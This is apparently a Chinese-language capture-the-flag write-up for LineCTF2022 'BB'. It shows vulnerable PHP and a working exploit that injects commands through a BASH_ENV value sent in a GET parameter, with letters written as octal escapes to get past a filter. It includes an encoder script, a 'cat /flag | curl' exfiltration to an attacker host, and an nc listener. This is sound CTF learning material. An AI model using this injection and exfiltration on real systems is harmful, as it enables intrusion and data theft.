[LineCTF2022]BB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);

function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>

用八进制可以进行绕过:

1
$'\101' = A

ord 字符转对应的ascii

oct 十进制转八进制

1
2
$'\143\141\164\40\57\146\154\141\147'  ---cat flag
$'\143\141\164' /$'\146\154\141\147' ----cat /flag

环境变量注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string

# cmd = "cat /flag"
cmd = "cat /flag | curl -d @- http://xx.xx.xx.xx:7001"
str = ''
for i in cmd:
if i in string.ascii_lowercase:
j = oct(ord(i))[2:]
str += "$'\\"+j+"'"
else:
str+=i

print(str)

服务器监听:

1
nc -lvnp 7001

GET传参:

1
?env[BASH_ENV]=`$'\143'$'\141'$'\164' /$'\146'$'\154'$'\141'$'\147' | $'\143'$'\165'$'\162'$'\154' -$'\144' @- $'\150'$'\164'$'\164'$'\160'://xx.xx.xx.xx:7001`

image-20241201212215360

0x为16进制数字的表示

\x为16进制的字符串表示

\ 为八进制的表示

50是2的ascii码对应值

0x32是十六进制表示,转为十进制就是50

\x32表示50对应的字符串,也就是”2”

image-20241201212300413

参考链接:https://blog.csdn.net/RABCDXB/article/details/125351004